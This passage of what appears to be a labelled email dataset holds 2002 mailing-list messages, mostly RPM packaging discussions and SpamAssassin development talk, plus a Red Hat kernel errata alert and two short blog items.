to list Requires: only when they're absolutely necessary. This will help because some packages are named differently between distributions (eg. SDL <-> libSDL), and the dependencies are automatically handled by RPM by depending on shared library names. This doesn't apply to BuildRequires: though. Use macros for directory names where available, eg %{_libdir}, %{_bindir}, %{_datadir} etc. I'd like to suggest using as many RPM macros for command names as possible too, but unfortunately I don't know of a definitive reference about them... I have a small RedHat 7.3 RPM/apt repository at , and I've received reports from people running Mandrake 8.x and SuSE that the RPMs work with them out of the box. -- \/ille Skytt ville.skytta at iki.fi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Julian Missig ,rpm-zzzlist@freshrpms.net,"Mon, 19 Aug 2002 03:58:55 -0400",Re: Limbo beta 2 ?,"I realize this is an old thread, but I just had to comment: On Tuesday, Aug 13, 2002, at 08:43 US/Eastern, Matthias Saou wrote: > Once upon a time, Dave wrote : > >> Eeeek... I hope they aren't intending to release a new RH with a new >> gcc >> which hasn't yet been released (again). Bad enough the first time, and >> I'm sure it gave RedHat a lot of embarrassment. > > Not really, it should have given more embarrassment to sloppy C++ > programmers although they often were the ones bashing on gcc 2.96... A lot of C++ programmers, myself included, were /not/ complaining about gcc's stricter adherence to the specification (which, by the way, a lot of kernel programmers complain about with gcc 3.x -- at least, the patch authors I've talked to hate gcc 3) -- gcc ""2.96"" had a lot of bugs. A lot. It crashed on me many times while working on my projects. Later ""versions"" of ""2.96"" fixed this, but it was well after 3.0 was released that it finally seemed reasonably stable -- and at that point, I just wanted to use 3.0, so I did. Julian _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 19 Aug 2002 17:25:04 +0200",Re: rpm versioning done right?,"Once upon a time, Daniel wrote : > What do you pleople think of the strategy to put prerelease > (alpha/beta/rc) information in the release field? The above example > should then have 6.1-0alpha5 as %{version}-%{release} and when the final > version was released it would have 6.1-1. Why not... it's just that sometimes it gets a bit more confusing in the spec file since you have to change the ""Source:"" as well as ""%setup"" to reflect the name changes. But it might also sometimes be even easier the way you suggest, if the entire package contains only references to the final version and that only the archive name has a ""pr1"" or ""beta6"" in it for example. Take for instance xmame : I've been packaging 0.61 pre-releases as ""0.61-fr0.x"" since the entire source has only ""0.61"" tags everywhere, no preversion tags whatsoever. Still, I don't think ""Epoch:"" is an evil hack although it's true that it may cause problems between distributions when used. Wanting to avoid it when possible is a good thing indeed ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 19 Aug 2002 17:29:17 +0200","Re: advice on 7.3.92 to 7.3.93, and Apt compiling","Once upon a time, Doug wrote : > Perms are borked on your en/ directory. Can't get in. Indeed, sorry. Fixed now, happy download :-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Harig, Mark A."" ",,"Mon, 19 Aug 2002 15:08:56 -0400",RE: when building a rpm i386-redhat-linux- is appended to man page,"> > The workaround is to pass an extra argument to configure as follows : > > %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} > This works when you are defining a switch that %configure does not already define, but how can we override an existing switch? For example, prefix: /usr/local %configure --prefix=%{?_prefix:%{prefix}} would be desirable for making a .rpm package relocatable, but this doesn't work. 'configure' receives two switches, the default '--prefix=/usr' and the (attempted) override '--prefix=/usr/local', but it only recognizes the first one. --- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Tue, 20 Aug 2002 07:41:57 +1200",Re: rpm versioning done right?,"This seems to be a good argument for the odd number prerelease, even number stables. So instead of a 0.61pre2 pre3, and a 0.61final, you'd stick with 0.61 with different releases, and a 0.62. 0.61-1, 0.61-2, 0.62. Would that that? --On Monday, August 19, 2002 17:25:04 +0200 Matthias Saou wrote: > Take for instance xmame : I've been packaging 0.61 pre-releases as > ""0.61-fr0.x"" since the entire source has only ""0.61"" tags everywhere, no > preversion tags whatsoever. -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 19 Aug 2002 23:25:24 +0200",Re: when building a rpm i386-redhat-linux- is appended to man page,"Once upon a time, Harig, wrote : > > > > The workaround is to pass an extra argument to configure as follows : > > > > %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} > > > > This works when you are defining a switch that %configure > does not already define, but how can we override an > existing switch? Well, %configure doesn't define ""--program-prefix="", so that's why it works. Maybe you thought that was an example, but no, it's the exact syntax to use as a workaround ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Mon, 19 Aug 2002 21:34:59 +0000","Re: advice on 7.3.92 to 7.3.93, and Apt compiling (oh joy)","Matthias Saou (matthias@egwn.net) wrote*: >Then why bother : The new Red Hat Linux beta ""(null)"" is now available and >should be announced anytime now. It contains rpm 4.1-0.81. Ahhh ... this is funny. Last night I upgraded to Limbo II (.93). Installed Limbo II kernel, Installed libstdc++ from rawhide (rpm -ivh) so the newer apt would work, told apt it is OK to have multiple of libstdc++, copied the actual rawhide ""libstdc++.so.5.0.0"" file to another directory, removed that rawhide libstdc++ package, installed (rpm -ivh ) the Limbo II libstdc++ package (new apt does not like it), make that symlink ""libstdc++.so.5"" point to that rawhide file I moved earlier. Apt works again, dump the Limbo II rpms into a dir, run the ""genaptrep.sh rh73"", but ""topdir"" arg had changed, edit script, rerun, makes apt repository for Limbo II. Do ""apt-get --ignore missing -f dist-upgrade"". Apt wants to uninstall itself because that rawhide libstdc++ package is not installed, but apt works for the moment because of that symlink I made. Apt stays installed just long enough to issue the necessary ""dist-upgrade"" commands, several hours later, I have Limbo II, shiny and new. The install even made that symlink point back to the correct libstdc++ file. Several hours after that, I read my mail and realize that ""null"" directory I kept seeing while downloading Limbo II was not a fluke. Ahh, the joy. Repeat the above .... -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Mike Chambers"" ","""FreshRPM - RPM List"" ","Mon, 19 Aug 2002 16:48:19 -0500",Fw: Everybody (null)... again!,"FYI.. ----- Original Message ----- From: ""Bill Nottingham"" To: Sent: Monday, August 19, 2002 10:40 AM Subject: Everybody (null)... again! > The (null) beta of Red Hat Linux has been updated. New in this release include: > > - gcc-3.2 - gcc-3.2 allows for better ABI compatibility going forward. > Note that C++ apps compiled on the first beta will not run on this beta. > - lots-o-bugfixes > > Please report issues via Bugzilla at http://bugzilla.redhat.com/bugzilla/ - > choose 'Red Hat Public Beta' as the product, and 'null' as the version. > > To discuss (null), send mail to Limbo-list-request@redhat.com with > 'subscribe' in the subject line. You can leave the body empty. > > The updated (null) is at ftp.redhat.com, and the following mirrors: > > North America: > * ftp://linux.nssl.noaa.gov/pub/linux/redhat/linux/beta/null/ > * ftp://ftp.shuttleamerica.com/pub/mirrors/redhat/linux/beta/null/ > (also rsync access) > * ftp://redhat.dulug.duke.edu/pub/redhat/linux/beta/null/ > (http and also rsync access) > * ftp://mirror.hiwaay.net/redhat/redhat/linux/beta/null/ > * ftp://mirror.netglobalis.net/pub/redhat-beta/null/ > (also http access) > * ftp://ftp.gtlib.gatech.edu/pub/mirros/ftp.redhat.com/linux/beta/null/ > South America: > * ftp://ftp.tecnoera.com/ > Europe: > * ftp://ftp.uni-bayreuth.de/pub/redhat/linux/beta/null/ > * ftp://alviss.et.tudelft.nl/pub/redhat/beta/null/ > * ftp://sunsite.mff.cuni.cz/MIRRORS/ftp.redhat.com/redhat/linux/beta/null/ > * ftp://ftp.cs.huji.ac.il/mirror/linux/redhat/ftp/redhat/linux/beta/null/ > * ftp://ftp.funet.fi/pub/mirrors/ftp.redhat.com/redhat/linux/beta/null/ > * ftp://ftp-stud.fht-esslingen.de/pub/redhat/linux/beta/null/ > Asia/Pacific: > * ftp://videl.ics.hawaii.edu/mirrors/redhat/linux/beta/null/ > * ftp://planetmirror.com/pub/redhat/linux/beta/null/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Harig, Mark A."" ",,"Mon, 19 Aug 2002 18:31:25 -0400",RE: when building a rpm i386-redhat-linux- is appended to man page,"> -----Original Message----- > From: Matthias Saou [mailto:matthias@egwn.net] > Sent: Monday, August 19, 2002 5:25 PM > To: rpm-zzzlist@freshrpms.net > Subject: Re: when building a rpm i386-redhat-linux- is appended to man > page > > > Once upon a time, Harig, wrote : > > > > > > > The workaround is to pass an extra argument to configure > as follows : > > > > > > %configure --program-prefix=%{?_program_prefix:%{_program_prefix}} > > > > > > > This works when you are defining a switch that %configure > > does not already define, but how can we override an > > existing switch? > > Well, %configure doesn't define ""--program-prefix="", so that's why it > works. Maybe you thought that was an example, but no, it's > the exact syntax > to use as a workaround ;-) > > Matthias > Actually, I was hoping that you could answer the question ""how can we override an existing switch?"" For example, %configure uses the command- line switch '--prefix'. How can we override that value? %configure ??? --- _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Dave Cridland ,rpm-zzzlist@freshrpms.net,19 Aug 2002 23:53:29 +0100,"Re: advice on 7.3.92 to 7.3.93, and Apt compiling (oh joy)","On Mon, 2002-08-19 at 22:34, Angles Puglisi wrote: > Matthias Saou (matthias@egwn.net) wrote*: > >Then why bother : The new Red Hat Linux beta ""(null)"" is now available and > >should be announced anytime now. It contains rpm 4.1-0.81. > > Ahhh ... this is funny. Last night I upgraded to Limbo II (.93). > > Installed Limbo II kernel, Installed libstdc++ from rawhide (rpm -ivh) so the > newer apt would work, told apt it is OK to have multiple of libstdc++, copied > the actual rawhide ""libstdc++.so.5.0.0"" file to another directory, removed that > rawhide libstdc++ package, installed (rpm -ivh ) the Limbo II libstdc++ package > (new apt does not like it), make that symlink ""libstdc++.so.5"" point to that > rawhide file I moved earlier. You can just recompile the apt source RPM, if it's the newer one. (Such as mine). There's no dependancies on libstdc++ other than binary ones. Currently on release dwd2, which I'm using on my home rawhide box. (Obviously not production, since the old apt works fine on production boxes). Now... Does anyone know of a good way to delete ""old"" RPMS from a directory containing both ""new"" and ""old"" RPMS? Say I have blurb-0.1.0-1.i386.rpm, blurb-0.1.0-2.i386.rpm, and blurb-0.1.1-1.i386.rpm, and want to remove the blurb-0.1.0-* because of the presence of blurb-0.1.1-1? Anyone have a convenient script? Dave. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 20 Aug 2002 01:00:02 +0200",Re: when building a rpm i386-redhat-linux- is appended to man page,"Once upon a time, Harig, wrote : > Actually, I was hoping that you could answer the question ""how can we > override an existing switch?"" For example, %configure uses the command- > line switch '--prefix'. How can we override that value? > > %configure ??? Quite honestly, I thought that the last occurrence was the one that counted. I'm almost sure I've already done something like : %configure --bindir=%{_sbindir} or even %configure --sysconfdir=%{_sysconfdir}/%{name} Are you sure that it was the first for you? Maybe you're forgetting to also override it in %makeinstall like follows : %makeinstall bindir=%{buildroot}%{_sbindir} or even %makeinstall sysconfdir=%{buildroot}%{_sysconfdir}/%{name} Is that it? Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Tue, 20 Aug 2002 10:52:08 +0300",Re: Portable RPMs,"On Fri, Aug 16, 2002 at 07:58:07PM +0200, Torsten Bronger wrote: > If I create an RPM according to one of the how-to's with having Red > Hat in mind, how big are my chances that it will also work for the > SuSE distribution, or others? (I don't know how many base on the RPM > system.) > Or what must I pay attention to when creating an RPM that should work > with the big distributions? Note also that there's hope of rpm being used on other systems than Linux. Look at http://www-1.ibm.com/servers/aix/products/aixos/linux/download.html I think a good way to guess is to look at others' spec files, hardcode as little as possible, replace abolute paths and commands with macros if possible and accept and request patches and suggestions :) -- Designing in C, I find myself utilizing the Harley Davidson Design Principle: ""If it breaks, make it bigger. If it sticks out, chrome it!"" :-) -- Marin David Condic, comp.lang.ada _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 20 Aug 2002 19:26:13 +0200",Re: when building a rpm i386-redhat-linux- is appended to man page,"Once upon a time, Harig, wrote : > I've found that the solution is to %define the needed values before > calling %configure, for example, > > %define _prefix /your/local/prefix > %define _includedir /your/local/prefix/include/%{name} > %configure && %__make > > If you follow the steps above, then %makeinstall can be called > without any overrides, which is a relatively nice, clean solution. You're absolutely right... and come to think of it, I must have done it that way in fact :-/ Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Tue, 20 Aug 2002 06:13:52 -0500","Re: advice on 7.3.92 to 7.3.93, and Apt compiling","On Mon, 19 Aug 2002 16:44:30 +0200, Matthias Saou wrote: [snipped] > Then why bother : The new Red Hat Linux beta ""(null)"" is now available and > should be announced anytime now. It contains rpm 4.1-0.81. > > You can grab it from here : > ftp://ftp.freshrpms.net/pub/redhat/linux/beta/null/ What's the official ""apt"" line for it? Is it just 7.4 instead of 7.3, or did they make this one 8.0? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I've been complaining for years, and almost no one listened. ""Windows is just easier"" you said. ""I don't want to learn anything new"", you said. Tell me how easy THIS is: http://www.guardian.co.uk/Archive/Article/0,4273,4477138,00.html _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Kloiber ,rpm-zzzlist@freshrpms.net,21 Aug 2002 02:37:34 -0400,"Re: RPM's %post, %postun etc","Have you tried rebuilding your package on a system that has a stock (or no) .rpmmacros file? Does it still build (and install/uninstall) the way you intended it to? On Tue, 2002-08-20 at 09:38, Torsten Bronger wrote: > Halloechen! > > At the moment I create an RPM that also adds some files to > teTeX's texmf/ tree. > > Therefore I defined in my .rpmmacros a %texhash that > calls texhash if it exists and in the spec file > > %post > %{texhash} > > %postun > %{texhash} > > But this is a costly operation. Is it nevertheless worth it? > In particular, if this RPM is installed together with (very many) > others, are those %pre, %post etc. skipped and an 'omnipotent' > script called that e.g. updates TeX's file database? > > Tschoe, > Torsten. -- Chris Kloiber _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Wed, 21 Aug 2002 10:38:04 +0200","Re: advice on 7.3.92 to 7.3.93, and Apt compiling","Once upon a time, Brian wrote : > On Mon, 19 Aug 2002 16:44:30 +0200, Matthias Saou > wrote: > > [snipped] > > > Then why bother : The new Red Hat Linux beta ""(null)"" is now available > > and should be announced anytime now. It contains rpm 4.1-0.81. > > > > You can grab it from here : > > ftp://ftp.freshrpms.net/pub/redhat/linux/beta/null/ > > What's the official ""apt"" line for it? Is it just 7.4 instead of > 7.3, or did they make this one 8.0? This is a beta, probably of 8.0 although it's numbered 7.3.94. As such, I've set up no apt repository for it, although you may find a few of my packages recompiled for it under the /pub/freshrpms/null/ directory of my ftp server. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Wed, 21 Aug 2002 04:08:52 -0500","Re: advice on 7.3.92 to 7.3.93, and Apt compiling","On Wed, 21 Aug 2002 10:38:04 +0200, Matthias Saou wrote: > This is a beta, probably of 8.0 although it's numbered 7.3.94. As such, > I've set up no apt repository for it, although you may find a few of my > packages recompiled for it under the /pub/freshrpms/null/ directory of my > ftp server. Ah; ok. I'll wait. I've got enough bugs to swat, but I really look forward to it. Every version before now has seemed to have been bugfixes and meaningful upgrades of subtle stuff; I expect this one to be the ""no excuses to run Windows"" release to which I can point the unwashed hordes. :) ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I've been complaining for years, and almost no one listened. ""Windows is just easier"" you said. ""I don't want to learn anything new"", you said. Tell me how easy THIS is: http://www.guardian.co.uk/Archive/Article/0,4273,4477138,00.html _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Harig, Mark A."" ",,"Wed, 21 Aug 2002 10:50:40 -0400","RE: RPM's %post, %postun etc","> -----Original Message----- > From: Torsten Bronger [mailto:bronger@physik.rwth-aachen.de] > Sent: Wednesday, August 21, 2002 7:36 AM > To: rpm-zzzlist@freshrpms.net > Subject: Re: RPM's %post, %postun etc > > > Halloechen! > > On Mittwoch, 21. August 2002 08:37 schrieben Sie: > > Have you tried rebuilding your package on a system that has > a stock (or > > no) .rpmmacros file? Does it still build (and > install/uninstall) the way > > you intended it to? > > It can't, because then %{texhash} is not defined. But how > can I define a > macro in the spec file? > http://www.rpm.org/rpmapi-4.1/macros.html > The problem exists when someone wants to install many RPMs, among them > mine. Let's assume that every package that adds files to TeX's > file tree runs texhash or equivalent. This would be a desaster! > There are only two solutions: (1) When installing many packages > (maybe in context of a complete system installation), %post etc. > are skipped and a complete update script is launched after *all* > packages have been installed. (2) I leave the taxhash thing out. > But then the user would have to do it. > > What's the way to go? > > Tschoe, > Torsten. > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list > _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Theo Van Dinter ,Frank Pineau ,"Wed, 21 Aug 2002 11:34:28 -0400",Re: [SAtalk] Highest-scoring false positive,"On Wed, Aug 21, 2002 at 10:16:33AM -0500, Frank Pineau wrote: > Omaha Steaks *is* spam. I bought something from them once. *Great* steaks, but > then they started calling me, emailing me, snail-mailing, constantly. I once If you sign up for something, it's not spam by definition, aggressive as they may be. (I told them to stop calling me, and they stopped, so ...) -- Randomly Generated Tagline: We didn't put in ^^ because then we'd have to keep telling people what it means, and then we'd have to keep telling them why it doesn't short circuit. :-/ -- Larry Wall in <199707300650.XAA05515@wall.org> ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Frank Pineau ,SpamAssassin List ,"Wed, 21 Aug 2002 10:43:32 -0500",Re: [SAtalk] Highest-scoring false positive,"On Wed, 21 Aug 2002 11:34:28 -0400, you wrote: >If you sign up for something, it's not spam by definition, aggressive as >they may be. (I told them to stop calling me, and they stopped, so ...) I agree. In a way, I signed up just by buying steaks from them. However, once I tell them to stop, everything after that is spam. I told them to stop *many* times. It's a pity, too, since they have great steaks. Buying from them is just not worth having to put up with all of that clinginess. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r_______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 yyyy@spamassassin.taint.org (Justin Mason),spamassassin-talk@example.sourceforge.net,"Wed, 21 Aug 2002 16:51:00 +0100",Re: [SAtalk] need to restart mass-checks (was: Re: 2.40 release procedure),"Bart Schaefer said: > Just FYI, spamassassin_pre_2_4_0b appears to be the head revision, and is > not the same as the tip of the b2_4_0 branch. oops. OK, now fixed; I've updated b2_4_0 to match what I wanted, accordingly. As a result, mass-checks do *NOT* need to be restarted as the code and rules are the same as they were on HEAD. cvs tag spamassassin_pre_2_4_0b So, in full, here's the changes that are in spamassassin_pre_2_4_0b that were not there before the branch: - rules fixed: HTTP_ESCAPED_HOST, HTTP_CTRL_CHARS_HOST. they were too lax and caused FPs - Matt's faster HTML parser - commented rules un-commented again - a doco fix for spamd and, for completeness, the relevant changes since Saturday: - the INSTALL file ;) - CALL_NOW now starts on a word boundary - Added examples to -R docs - Added Habeas HIL lookup - bug 385: spamcheck.py should handle 4xx errors -- full mailboxes etc. -- with EX_TEMPFAIL. patch from ckd-spamassassin@ckdhr.com (Christopher Davis) applied. - made spamcheck.py use exit code 75 if it cannot connect to spamd, fixes bug 655 - spamd/spamd.raw: fixed bug 704: spamd was not able to unlink pid file with -u arg - Makefile.PL: installing to random dirs now works fine - move MAILER_DAEMON into 70_cvs_rules_under_test.cf since it has been improved remove extraneous mass-check line for DATE_YEAR_ZERO_FIRST - spamassassin.raw: merged -Z with -D - removed eff.org from whitelists, as per Marc's request - mass-check: added versioning and date to mass-check output - bug 658: ok_locales set to 'en' by default. changed to 'all', users will have to customise for themselves. Made many tests which trigger FPs on mail in ISO-2022-JP charsets, meta rules depending on __ISO_2022_JP_DELIM. - fixed phrase-freq code for vastly better performance - rules/50_scores.cf: changed LISTBUILDER score back to -5.0 - lib/Mail/SpamAssassin/HTML.pm: catch background images in uri code catch additional types of web bugs - rules/20_body_tests.cf: change CASHCASHCASH to meta rule to avoid Japanese false matches, revise spam phrases descriptions to be clearer (since a few are now basically compensation tests (please don't move them to the compensation file)) - fixed bug in MIME_SUSPECT_NAME: text/plan attachments called foo.html were triggering. - revise HTML comment tests to use HTML parser - revise MAILER_DAEMON rule (get rid of some spam matches without losing any nonspam matches) - raise some negative scores that are way too low - remove ""Friend"" from DEAR_SOMETHING since it overlaps with DEAR_FRIEND and can match ""dear friend"" in middle of sentence too much - require ""Dear Friend"" to start the paragraph - add new HTML tests for font colors and faces, reduce number of different eval functions needed for HTML tests --j. -- 'Justin Mason' => { url => http://jmason.org/ , blog => http://taint.org/ } ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 nobody@dogma.slashnull.org,yyyy+blogged@spamassassin.taint.org,"Wed, 21 Aug 2002 17:22:48 +0100",blogged item,"Aaron sez: It's 1:30AM. Hours ago, my server seemed to stop working. I could ping it, but I couldn't do anything else. We drove over to see what was up. ... I'll just say that everything broke. Repeatedly. ... I think I have a small idea what it's like to be Evan now. This is not what I want to be when I grow up. Never mind that -- I think you now have an idea what it's like to be an on-call sysadmin ;)",0,1 nobody@dogma.slashnull.org,yyyy+blogged@spamassassin.taint.org,"Wed, 21 Aug 2002 17:47:04 +0100",blogged item,"**Scraping**: I've read this before, but it's worth pointing to: Jon Udell on SSL Proxying. the browser's secure traffic flows to Proxomitron. It decrypts that traffic, so you can see it in the log window, and then re-encrypts it to the destination server. Coming back the other way, it decrypts the server's responses, so you can see them in the log window, then re-encrypts them to complete the secure loop back to the browser. It's really quite amazing, and amazingly useful. Automation tasks that used to look like more trouble than they were worth -- for example, driving a HotMail or E*Trade account from a script -- suddenly look easy.",0,1 """f. Andrew Lawton"" ",Spamassassin-talk@example.sourceforge.net,21 Aug 2002 13:15:07 +0000,Re: [SAtalk] CONFIDENTIAL,"On Wed, 2002-08-21 at 06:42, Craig R.Hughes wrote: > On Tuesday, August 20, 2002, at 09:38 PM, Mike Burger wrote: > > > Of course, since I have this list before my SA filter, it got through. > > That's exactly what they're counting on! Actually, I think it's > more likely spammer humor, and sa-talk is on a list somewhere. > Oh, I dunno. Humor or not it, lets some of us with new installs test out SA with ""real"" email. :) ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Red Hat Network Alert ,spamassassin.taint.org ,"Thu, 22 Aug 2002 04:08:37 -0400","RHN Errata Alert: New kernel update available, fixes i810 video oops, several security issues","Red Hat Network has determined that the following advisory is applicable to one or more of the systems you have registered: Complete information about this errata can be found at the following location: https://rhn.redhat.com/network/errata/errata_details.pxt?eid=1159 Security Advisory - RHSA-2002:158-09 ------------------------------------------------------------------------------ Summary: New kernel update available, fixes i810 video oops, several security issues Updated kernel packages are now available which fix an oops in the i810 3D kernel code. This kernel update also fixes a difficult to trigger race in the dcache (filesystem cache) code, as well as some potential security holes, although we are not currently aware of any exploits. Description: The 2.4.18-5 kernel introduced some safety checks in the VM subsystem that were triggered when exiting an X session while using 3D acceleration with the Intel i810/i815 chipset. Additionally, there was a difficult to trigger race in the dcache of the file system subsystem. This kernel update addresses both of these issues. In addition, there are fixes for potential security holes in the following drivers: stradis rio500 se401 usbvideo apm Finally, this kernel fixes a few files in the /proc file system which had the capability to expose kernel memory when abused. All of the security issues found during an audit and none of them, at the time of this writing, have any known exploits. We would like to thank Silvio Cesare, Stas Sergeev, Andi Kleen, Solar Designer, and others for their auditing work. References: http://www.thefreeworld.net/non-US/ ------------------------------------------------------------------------------ ------------- Taking Action ------------- You may address the issues outlined in this advisory in two ways: - select your server name by clicking on its name from the list available at the following location, and then schedule an errata update for it: https://rhn.redhat.com/network/systemlist/system_list.pxt - run the Update Agent on each affected server. --------------------------------- Changing Notification Preferences --------------------------------- To enable/disable your Errata Alert preferences globally please log in to RHN and navigate from ""Your RHN"" / ""Your Account"" to the ""Preferences"" tab. URL: https://rhn.spamassassin.taint.org/network/my_account/my_prefs.pxt You can also enable/disable notification on a per system basis by selecting an individual system from the ""Systems List"". From the individual system view click the ""Details"" tab. --------------------- Affected Systems List --------------------- This Errata Advisory may apply to the systems listed below. If you know that this errata does not apply to a system listed, it might be possible that the package profile for that server is out of date. In that case you should run 'up2date -p' as root on the system in question to refresh your software profile. There is 1 affected system registered in 'Your RHN' (only systems for which you have explicitly enabled Errata Alerts are shown). Release Arch Profile Name -------- -------- ------------ 7.3 i686 jalapeno The Red Hat Network Team This message is being sent by Red Hat Network Alert to: RHN user login: spamassassin.taint.org Email address on file: If you lost your RHN password, you can use the information above to retrieve it by email from the following address: https://rhn.redhat.com/forgot_password.pxt To cancel these notices, go to: https://rhn.redhat.com/oo.pxt?uid=1358455&oid=1917980",0,1 mail ,undisclosed-recipients:;,"Mon, 22 Jul 2002 16:17:26 +0100",,"Problem with spamtrap /home/yyyy/lib/spamtrap.sh: /home/yyyy/ftp/spamassassin/spamassassin: No such file or directory",0,0 """Malte S. Stretz"" ",SpamAssassin Talk ML ,"Mon, 22 Jul 2002 09:30:41 +0200",Re: [SAtalk] http://www.spamassassin.org,"On Monday 22 July 2002 07:00 CET John Rudd wrote: > On Sunday, July 21, 2002, at 08:30 , Bob Proulx wrote: > > > http://www.spamassassin.org > > > Is anyone besides me having problems getting to the site? Jepp. The same is true for Justin's private page jmason.org. traceroutes to both these servers die at the same point: | mss@otherland:~> /usr/sbin/traceroute spamassassin.org | traceroute to spamassassin.org (212.17.35.15), 30 hops max, 40 byte | packets | 1 nebukadnezar.msquadrat.de (10.10.1.111) 9 ms 1 ms 1 ms | 2 212.185.255.161 (212.185.255.161) 54 ms 54 ms 55 ms | 3 212.185.255.162 (212.185.255.162) 55 ms 54 ms 55 ms | 4 F-gw13.F.NET.DTAG.DE (62.154.18.46) 63 ms 62 ms 62 ms | 5 rt007ffm.de.vianw.net (194.231.40.201) 63 ms 62 ms 61 ms | 6 r1ffm.vianw.net (213.2.254.45) 62 ms 63 ms 62 ms | 7 r2ffm.vianw.net (213.2.254.42) 63 ms 63 ms 63 ms | 8 There're probably some problems with Justin's webserver; I'm shure he's already looking into this as it affects his own website, too :o) > > What site is that one? Isn't this site on sourceforge the official > > home page? > > > > http://spamassassin.sourceforge.net/ spamassassin.sf.net is the US mirror, also accessible through us.spamassassin.org. > They appear to be the same page, but until recently I could get to the > www. spamassassin.org one, but it hasn't been responsive the last couple > days. For me it worked until yesterday or the day before. > But then, I also haven't been able to get anyone to answer my questions > about user_prefs files (not the one from earlier today, but from a couple > days ago). About this question: No, that's currently not possible. But I was thinking about implementing a feature like this; it might be in the next release. Malte -- -- Coding is art. --",0,1 """Tony L. Svanstrom"" ",Marc Perkel ,"Mon, 22 Jul 2002 17:00:18 +0200 (CEST)",Re: [SAdev] Spam added to regular email,"On Mon, 22 Jul 2002 the 